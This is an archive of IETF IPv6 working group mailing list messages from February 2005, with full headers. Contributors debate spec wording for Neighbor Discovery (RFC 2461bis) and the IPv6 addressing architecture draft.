=?UTF-8?B?SklOTUVJIFRhdHV5YSAvIOelnuaYjumBlOWTiQ==?= Message-id: <421AC282.3010402@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=UTF-8 Content-transfer-encoding: QUOTED-PRINTABLE X-Accept-Language: en, en-us User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 References: <421A3145.3020709@tm.uka.de> X-Spam-Score: 0.0 (/) X-Scan-Signature: 3a4bc66230659131057bb68ed51598f8 Content-Transfer-Encoding: QUOTED-PRINTABLE Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 2086112c730e13d5955355df27e3074b Content-Transfer-Encoding: QUOTED-PRINTABLE Hi Jinmei, JINMEI Tatuya / =E7=A5=9E=E6=98=8E=E9=81=94=E5=93=89 wrote: >>>>>>On Mon, 21 Feb 2005 20:06:45 +0100,=20 >>>>>>Christian Vogt said: >=20 >=20 >>...to this... >=20 >=20 >>>[...] If there is no existing Neighbor Cache entry >>>for the solicitation's sender and a Source Link-Layer Address opti= on >>>was present in the solicitation, the router creates a new Neighbor >>>Cache entry, installs the link-layer address and sets its reachabi= lity >>>state to STALE as specified in Section 7.3.3. If there is no exis= ting >>>Neighbor Cache entry and no Source Link-Layer Address option was >>>present in the solicitation, the router does either one of the >>>following: >>> >>>- It performs address resolution on the solicitation's sender, cre= ates >>>a new Neighbor Cache entry, installs the link-layer address, sets = its >>>reachability state to STALE as specified in Section 7.3.3, and >>>responds with a unicast Router Advertisement directed to the >>>solicitation's sender. >=20 >=20 > I personally think this is overspecification. As I said in a separ= ate > message, the essential problem (IMO) is that the spec is unclear on > the case where > - an unsolicited ND message does not contain source/target LLAO > - the receiving node does not have a neighbor cache entry for the > source/target >=20 > (and this is a general issue, not specific to RS). >=20 > Once we clarify this point, I believe we can simply leave the other > details to implementors. In this specific case, for example, if th= e > router that receives the RS decides to respond to it with a unicast > RA (this is already explicitly allowed in the current spec), the > outgoing RA will create a new neighbor cache entry, causing link-la= yer > address resolution (again, per the current specification). There'd= be > no difference on the external behavior. >=20 > Moreover, I even think specifying this level of details can be harm= ful > for some implementations. In the case of BSD/KAME, it is a userlan= d > process (rtadvd) which would decide to respond to the RS with a > unicast RA (although currently it only supports multicast RAs), whi= le > NS/NA exchanges can only happen inside the kernel. Thus, it is > difficult for the implementation to follow the specified ordering: >=20 > 1. it performs address resolution on the solicitation's sender > 2. creates a new Neighbor Cache entry > 3. installs the link-layer address > 4. sets its reachability state to STALE > (BTW: this is strange. after a successful address resolution, > the state should be REACHABLE) > 5. responds with a unicast Router Advertisement >=20 > because the kernel, which performs 1 through 4, cannot tell the > application's decision beforehand. >=20 > Again, note that we can realize (almost) exactly the same external > behavior without specifying this ordering. IMO, what we should do = is > to fix the real generic issue, and then there should be no ambiguit= y > in further details. I don't think the issue of Unsolicited NA is a big one, since there's no implied response, and well known unreliability issues with sending an unsolicited NA (people ignore it if there's no existing= =20 entry) which limit its use. So if this is the case, we need to describe messages which request a response or change configuration state without having LLAOs. How about a paragraph (maybe somewhere else) saying: "... It is possible that a host may receive a solicitation or a route= r advertisement without a link-layer address option included. These messages will not create or update neighbor cache entries= , except with respect to the IsRouter flag as specified in Sections XXX and YYY. If a neighbour cache entry does not exist for the source of suc= h a message, Address Resolution will be required before unicast communications with that address to begin. This is particularly relevant for unicast responses to solicitations where an additional packet exchange is required f= or advertisement delivery. =2E.." I'm not sure about whether this is better or not perhaps this could g= o into 7.2.X, in an effort to tie the exercise to address resolution, rather than reception of a particular message (considering that the document is basically broken into 3 sections: RD, ND, Redirect). Greg -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 23:16:58 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA14842 for ; Wed, 23 Feb 2005 23:16:58 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Anj-0002RN-0X for ipv6-web-archive@ietf.org; Wed, 23 Feb 2005 23:40:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3kmp-0006Tc-41; Tue, 22 Feb 2005 19:53:55 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3UxE-00032G-Al for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 02:59:37 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA22161 for ; Tue, 22 Feb 2005 02:59:24 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3VJV-0002OH-OQ for ipv6@ietf.org; Tue, 22 Feb 2005 03:22:38 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1M7wnc19578 for ; Tue, 22 Feb 2005 09:58:49 +0200 Date: Tue, 22 Feb 2005 09:58:49 +0200 (EET) From: Pekka Savola To: ipv6@ietf.org In-Reply-To: <200502182025.PAA08807@ietf.org> Message-ID: References: <200502182025.PAA08807@ietf.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 Subject: Re: I-D ACTION:draft-ietf-ipv6-addr-arch-v4-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 538aad3a3c4f01d8b6a6477ca4248793 On Fri, 18 Feb 2005 Internet-Drafts@ietf.org wrote: > Title : IP Version 6 Addressing Architecture > Author(s) : R. Hinden, S. Deering > Filename : draft-ietf-ipv6-addr-arch-v4-01.txt Two high-level comments: 1) The use of compatible addresses does not belong to the revised addr arch specification, especially if we want to move it to Draft Standard. I suggest removing it right now to avoid fuss in the future. 2.5.5 IPv6 Addresses with Embedded IPv4 Addresses The IPv6 transition mechanisms [TRAN] include a technique for hosts and routers to dynamically tunnel IPv6 packets over IPv4 routing infrastructure. IPv6 nodes that use this technique are assigned special IPv6 unicast addresses that carry a global IPv4 address in the low-order 32 bits. This type of address is termed an "IPv4-compatible IPv6 address" and has the format: | 80 bits | 16 | 32 bits | +--------------------------------------+--------------------------+ |0000..............................0000|0000| IPv4 address | +--------------------------------------+----+---------------------+ Note: The IPv4 address used in the "IPv4-compatible IPv6 address" must be a globally-unique IPv4 unicast address. 2) Site local deprecation document is Proposed Standard (it should have been published as BCP, sigh..), so it cannot be a normative reference if we want to move this to Draft Standard (unless SLDEP is also moved to DS). Luckily enough, I think this only provides additional information, so it should be OK to move it over to Informative references. 5.1 Normative References [SLDEP] C. Huitema, B. Carpenter, "Deprecating Site Local Addresses", RFC3879, September 2004. -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 23:38:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA22053 for ; Wed, 23 Feb 2005 23:38:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4B8s-0004co-W1 for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 00:02:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3knU-0006je-Q0; Tue, 22 Feb 2005 19:54:36 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3X7t-0004rq-B3 for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 05:18:51 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA10491 for ; Tue, 22 Feb 2005 05:18:36 -0500 (EST) Received: from iramx2.ira.uni-karlsruhe.de ([141.3.10.81] ident=[U2FsdGVkX1+DTEhgxyEQZ01OetILLZypB3uesnsNluU=]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3XUE-0007aX-OA for ipv6@ietf.org; Tue, 22 Feb 2005 05:41:52 -0500 Received: from irams1.ira.uni-karlsruhe.de ([141.3.10.5] helo=irams1.ira.uka.de) by iramx2.ira.uni-karlsruhe.de with esmtps (Exim 4.43 #1) id 1D3X7c-0006Iv-O0; Tue, 22 Feb 2005 11:18:34 +0100 Received: from i72archimedes.tm.uni-karlsruhe.de ([141.3.71.83]) by irams1.ira.uka.de with esmtp (Exim 3.30 #7 ) id 1D3X7a-0000qh-00; Tue, 22 Feb 2005 11:18:26 +0100 Message-ID: <421B06F0.3090905@tm.uka.de> Date: Tue, 22 Feb 2005 11:18:24 +0100 From: Christian Vogt User-Agent: Mozilla Thunderbird 1.0 (X11/20041206) X-Accept-Language: de-DE, de, en-us, en MIME-Version: 1.0 To: Tatuya Jinmei References: <421A3145.3020709@tm.uka.de> In-Reply-To: X-Enigmail-Version: 0.90.0.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -14.5 (--------------) X-Spam-Status: No X-Spam-Score: 0.0 (/) X-Scan-Signature: 1a1bf7677bfe77d8af1ebe0e91045c5b Content-Transfer-Encoding: 7bit Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org, greg.daley@eng.monash.edu.au Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: a7d2e37451f7f22841e3b6f40c67db0f Content-Transfer-Encoding: 7bit Hi Jinmei. >>>[...] If there is no existing Neighbor Cache entry >>>for the solicitation's sender and a Source Link-Layer Address option >>>was present in the solicitation, the router creates a new Neighbor >>>Cache entry, installs the link-layer address and sets its reachability >>>state to STALE as specified in Section 7.3.3. If there is no existing >>>Neighbor Cache entry and no Source Link-Layer Address option was >>>present in the solicitation, the router does either one of the >>>following: >>> >>>- It performs address resolution on the solicitation's sender, creates >>>a new Neighbor Cache entry, installs the link-layer address, sets its >>>reachability state to STALE as specified in Section 7.3.3, and >>>responds with a unicast Router Advertisement directed to the >>>solicitation's sender. > > I personally think this is overspecification. As I said in a separate > message, the essential problem (IMO) is that the spec is unclear on > the case where > - an unsolicited ND message does not contain source/target LLAO > - the receiving node does not have a neighbor cache entry for the > source/target > > (and this is a general issue, not specific to RS). I agree that it would be good to address this issue on a general level. On the other hand, there are also related differences between RS handling and NS handling that need to be described on a separate basis anyway. For instance, RFC 2461[bis] specifies exactly when a NA is to be multicast and when it is to be unicast (section 7.2.4). This is a difference to RA's, which may be either multicast or unicast (if the RS's source address was not unspecified), even if there is no SLLAO. Also, section 7.2.4 explicitly says what to do if a unicast NA is to be sent, but the recipient's link-layer address is unknown (i.e., invoke address resolution). So one may consider to put a similar note into section 6.2.6. I don't think this would be overspecification. > [...] > Moreover, I even think specifying this level of details can be harmful > for some implementations. In the case of BSD/KAME, it is a userland > process (rtadvd) which would decide to respond to the RS with a > unicast RA (although currently it only supports multicast RAs), while > NS/NA exchanges can only happen inside the kernel. Thus, it is > difficult for the implementation to follow the specified ordering: > > 1. it performs address resolution on the solicitation's sender > 2. creates a new Neighbor Cache entry > 3. installs the link-layer address > 4. sets its reachability state to STALE > (BTW: this is strange. after a successful address resolution, > the state should be REACHABLE) > 5. responds with a unicast Router Advertisement > > because the kernel, which performs 1 through 4, cannot tell the > application's decision beforehand. Ok, your point is the order implied in the text I suggested. I actually didn't mean to imply this. But yes, the text could potentially be misinterpreted. So maybe you whish to reduce it to the following? [...] If there is no existing Neighbor Cache entry for the solicitation's sender and a Source Link-Layer Address option was present in the solicitation, the router creates a new Neighbor Cache entry, installs the link-layer address and sets its reachability state to STALE as specified in Section 7.3.3. If a Neighbor Cache entry for the solicitation's sender exists (or is created) the entry's IsRouter flag MUST be set to FALSE. Because Router Solicitations are not required to include a Source Link-Layer Address, it is possible that a router sending a solicited unicast Router Advertisement does not have a corresponding link- layer address for its neighbor in its Neighbor Cache. In such situations, a router will first have to use Neighbor Discovery to determine the link-layer address of its neighbor (i.e, send out a multicast Neighbor Solicitation). In the above, the first paragraph specifies NC-state creation, and the second specifies the additional address-resolution procedure that may be required in the case of a unicast RA. This second paragraph is based on the corresponding existing paragraph in section 7.2.4. (Note the difference between "[unicast] Router Solicitations" and "[unicast] Router Advertisements", though.) This is good for conformity. We don't need to explicitly address the case of a solicitation without SLLAO in the first paragraph, because (a) no NC state is created in case of a multicast RA, (b) the second paragraph describes address resolution and state creation in case of a unicast RA in conformance with section 7.2.4, and (c) the decision of whether to send a multicast or a unicast RA is already attended to in the beginning of section 6.2.6. An aside with respect to the second paragraph: You may also want to modify this paragraph through a s/Neighbor Discovery/address resolution/ in both section 7.2.4 and, as suggested, section 6.2.6. - Christian -- Christian Vogt, Institute of Telematics, University of Karlsruhe www.tm.uka.de/~chvogt/pubkey/ -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 23 23:43:06 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA24010 for ; Wed, 23 Feb 2005 23:43:06 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4BCx-0005BO-1r for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 00:06:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D482d-0005a4-Fa; Wed, 23 Feb 2005 20:43:47 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3lMz-0001b2-Di for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 20:31:21 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA08302 for ; Tue, 22 Feb 2005 18:27:24 -0500 (EST) Received: from alpha6.its.monash.edu.au ([130.194.1.25]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3jnj-0006XE-3U for ipv6@ietf.org; Tue, 22 Feb 2005 18:50:47 -0500 Received: from localhost ([130.194.13.82]) by vaxc.its.monash.edu.au (PMDF V6.1 #39306) with ESMTP id <01LL52NS9HXG8Y89T7@vaxc.its.monash.edu.au> for ipv6@ietf.org; Wed, 23 Feb 2005 10:27:08 +1100 Received: from larry.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id DDFEB8000C; Wed, 23 Feb 2005 10:27:02 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by larry.its.monash.edu.au (Postfix) with ESMTP id BAD083C011; Wed, 23 Feb 2005 10:27:02 +1100 (EST) Date: Wed, 23 Feb 2005 10:27:02 +1100 From: Greg Daley In-reply-to: To: =?UTF-8?B?SklOTUVJIFRhdHV5YSAvIOelnuaYjumBlOWTiQ==?= Message-id: <421BBFC6.8020806@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=UTF-8 Content-transfer-encoding: QUOTED-PRINTABLE X-Accept-Language: en, en-us User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 References: <421A3145.3020709@tm.uka.de> <421AC282.3010402@eng.monash.edu.au> X-Spam-Score: 0.0 (/) X-Scan-Signature: e8a67952aa972b528dd04570d58ad8fe Content-Transfer-Encoding: QUOTED-PRINTABLE Cc: "Soliman, Hesham" , Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 41c17b4b16d1eedaa8395c26e9a251c4 Content-Transfer-Encoding: QUOTED-PRINTABLE Hi Jinmei and Christian, It has been a bit confusing with crossing e-mails and timezone differences. I think that there's agreement for clarification. I think that people agree what needs to be clarified. I'm not sure if it's decided where to put the clarification (but I don't care myself, so long as everyone else agrees) I'm not sure if there is a text which is agreed. (I've heard more harmonious responses in later text, but there were two or three fairly related pieces of text going round). Can we confirm whether there's agreement on the location of clarifying statements? Can we also agree or confirm (possibly conditionally on the previous question) whether there's an agreement on text? I'm not worried at the moment, since things seem to be going the right way. Greg JINMEI Tatuya / =E7=A5=9E=E6=98=8E=E9=81=94=E5=93=89 wrote: >>>>>>On Tue, 22 Feb 2005 16:26:26 +1100,=20 >>>>>>Greg Daley said: >=20 >=20 >>So if this is the case, we need to describe messages which request = a >>response or change configuration state without having LLAOs. >=20 >=20 >>How about a paragraph (maybe somewhere else) saying: >=20 >=20 >>"... It is possible that a host may receive a solicitation or a rou= ter >=20 > (snip) >=20 >>..." >=20 >=20 >>I'm not sure about whether this is better or not perhaps this could= go >>into 7.2.X, in an effort to tie the exercise to address resolution, >>rather than reception of a particular message (considering that the >>document is basically broken into 3 sections: RD, ND, Redirect). >=20 >=20 > I think this type of general clarification makes sense. >=20 > =09=09=09=09=09JINMEI, Tatuya > =09=09=09=09=09Communication Platform Lab. > =09=09=09=09=09Corporate R&D Center, Toshiba Corp. > =09=09=09=09=09jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 00:10:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04500 for ; Thu, 24 Feb 2005 00:10:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4Bdw-0008Hs-UY for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 00:34:34 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D41bN-0001CD-4x; Wed, 23 Feb 2005 13:51:13 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D41bK-0001BU-W9 for ipv6@megatron.ietf.org; Wed, 23 Feb 2005 13:51:11 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA27682 for ; Wed, 23 Feb 2005 13:51:03 -0500 (EST) Received: from darkstar.iprg.nokia.com ([205.226.5.69]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D41xy-0005BU-6n for ipv6@ietf.org; Wed, 23 Feb 2005 14:14:35 -0500 Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id j1NJM1L05070 for ; Wed, 23 Feb 2005 11:22:01 -0800 X-mProtect: <200502231922> Nokia Silicon Valley Messaging Protection Received: from danira-pool05070.americas.nokia.com (10.241.50.70, claiming to be "l5131412.nokia.com") by darkstar.iprg.nokia.com smtpdy6wqMS; Wed, 23 Feb 2005 11:21:59 PST Message-Id: <6.2.1.2.2.20050223105020.02de12f8@mailhost.iprg.nokia.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.1.2 Date: Wed, 23 Feb 2005 10:50:36 -0800 To: ipv6@ietf.org From: Bob Hinden Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 0f1ff0b0158b41ac6b9548d0972cdd31 Subject: test X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 08e48e05374109708c00c6208b534009 please ignore. -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 00:14:30 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA05885 for ; Thu, 24 Feb 2005 00:14:29 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D4BhQ-0000GC-Ub for ipv6-web-archive@ietf.org; Thu, 24 Feb 2005 00:38:09 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3n87-00063l-G3; Tue, 22 Feb 2005 22:24:03 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D3n84-00062t-SJ for ipv6@megatron.ietf.org; Tue, 22 Feb 2005 22:24:02 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA16054 for ; Tue, 22 Feb 2005 22:23:52 -0500 (EST) Received: from shuttle.wide.toshiba.co.jp ([202.249.10.124]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D3nUa-0004v5-NP for ipv6@ietf.org; Tue, 22 Feb 2005 22:47:17 -0500 Received: from ocean.jinmei.org (unknown [2001:4f8:3:bb:200:39ff:fed7:e2e4]) by shuttle.wide.toshiba.co.jp (Postfix) with ESMTP id DE1BF1521B; Wed, 23 Feb 2005 12:23:51 +0900 (JST) Date: Wed, 23 Feb 2005 12:24:22 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: "Soliman, Hesham" In-Reply-To: References: User-Agent: Wanderlust/2.10.1 (Watching The Wheels) Emacs/21.3 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.5 - "Awara-Onsen") Content-Type: text/plain; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Scan-Signature: 0770535483960d190d4a0d020e7060bd Cc: ipv6@ietf.org Subject: Re: comments on draft-ietf-ipv6-2461bis-01.txt X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cd3fc8e909678b38737fc606dec187f0 >>>>> On Tue, 22 Feb 2005 13:47:07 -0500, >>>>> "Soliman, Hesham" said: >> Non-editorial comments >> >> 1. (throughout the document) >> >> There is a mixture of >> - how IPv6 operates over different link layers >> and >> - how IP operates over different link layers >> even though there does not seem to be ambiguity of what "IP" means. >> I guess we can simply use "how IP"...for all the cases. > => I'd rather use IPv6 if that's ok with everyone since this doc is only applicable > to IPv6. Hmm, I actually don't have a strong preference as long as the result is consistent, but just "IP" seems to be more aligned with the sense of Section 2.1: IP - Internet Protocol Version 6. The terms IPv4 and IPv6 are used only in contexts where necessary to avoid ambiguity. >> 4. Section 2.3. (Addresses) >> >> Note that this specification does not strictly comply with the >> consistency requirements for the scopes of source and destination >> addresses. It is possible in some cases for hosts to use a source >> address of a larger scope than the destination address in the IPv6 >> header. >> >> what's the "consistency requirements"? What ever they are, should we >> bother to mention this in the first place? > => We can refer to src address selection rules here for the consistency requirements. So do you mean RFC3484 here? Then I guess we should be more generic, e.g.: Note that this specification does not strictly comply with the default address selection rules described in [RFC3484]. In particular, it is possible in some cases for hosts to use a source address of a larger scope than the destination address in the IPv6 header, even if [RFC3484] would not prefer that combination. >> 5. Section 4.2. (Router Advertisement Message Format) >> >> Reserved A 6-bit unused field. It MUST be initialized to >> zero by the sender and MUST be ignored by the >> receiver. >> >> I'm wondering whether we can be more flexible here, since we've >> already had several proposals that use the "Reserved" field. I know >> our consensus is that rfc2461bis itself does not included those >> extensions, but I think it is less-confusing to note that >> the Reserved >> field may be used in future extensions. > => It's sort of self explanatory that Reserved can be used in future, the important > thing is that it's set to zero and ignored on reception. My concern is that people who read RFC2461bis might see a new implementation that support the "H" bit of RFC3775 and say "this implementation does not conform to RFC2461bis because it does not set the reserved field to zero". Basically, I'm not intending to insist on this point, but I think it would not harm to make a note about future extensions, particularly because we already know we have extensions. (I won't defend myself on this more. If you still think it's too much, please just ignore this comment). >> 8. Section 4.6.2. (Prefix Information) >> >> Prefix An IP address or a prefix of an IP address. The >> Prefix Length field contains the number of valid >> leading bits in the prefix. [... >> ...] A router SHOULD NOT send a prefix >> option for the link-local prefix and a >> host SHOULD >> ignore such a prefix option. >> >> => I don't see why we cannot use 'MUST (NOT)' here. Is there any >> scenario where it makes sense for a router to include the link-local >> prefix in the prefix information option? (Perhaps it's too late to >> make this comment, and I'm personally fine is the current wording). > => MUSTs are used to indicate that the protocol would break if a certain action] > is taken. In this case the protocol will not break so no need for MUST. Hmm, it's different from my view of SHOULD/MUST/etc, but I won't insist on it. So please just ignore this comment. >> 11. Section 6.3.4. (Processing Received Router Advertisements) >> >> Stateless address autoconfiguration [ADDRCONF] may in some >> circumstances increase the Valid Lifetime of a prefix or ignore it >> completely in order to prevent a particular denial of >> service attack. >> >> "the Valid Lifetime of a prefix" is not really correct in the context >> of [ADDRCONF]; the lifetime is associated with addresses, not >> prefixes. And [ADDRCONF] does not directly manipulate prefix >> lifetimes. So, I think it's better to say, e.g.: >> >> Stateless address autoconfiguration [ADDRCONF] may in some >> circumstances use a larger Valid Lifetime of a prefix or >> ignore the >> Valid Lifetime completely in order to prevent a particular denial >> of service attack. > => I don't see how this is different from the above though. Using a larger LT means > you've increased it. My point was that there's a no notion of "Valid Lifetime of a **prefix**" in [ADDRCONF]. It only has "Valid (and Preferred) Lifetime of an address". That's why I suggested using "use". I believe it clarifies the things a bit and is more accurate, but the original text would not confuse the reader. So, I'd leave the decision to you. >> 15. Section 11.1 (Threat analysis) >> >> 2461bis-02 has removed the following part of RFC2461: (snip) >> But I believe these requirements are still valid and should be >> included *when we use IPsec* for ND, even if we note the >> limitation of >> the use of IPsec to secure ND. > => Since we removed all reference to IPsec except on its limitations, I don't > think we should add this one last bit because it might confuse people. Realistically, > IPsec is not going to be used with ND in a large network. Hmm...I agree with the "realistic" view itself, but unless we prohibit the use of IPsec, I believe it is overkilling to remove requirements (using RFC2119 keywords) when it is used. Is it so harmful to revise the paragraph to, e.g., the following? In some cases, it may be acceptable to use statically configured security associations with either [IPv6-AH] or [IPv6-ESP] to secure Neighbor Discovery messages. However, it is important to note that statically configured security associations are not scalable (especially when considering multicast links) and are therefore limited to small networks with known hosts. In any case, when [IPv6-AH] is used, received Authentication Headers in Neighbor Discovery packets MUST be verified for correctness and packets with incorrect authentication MUST be ignored. JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 24 00:21:03 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA08556 for ; Thu, 24 Feb 2005 00:21:03 -0500 (EST) Received: from megatron.ietf.org 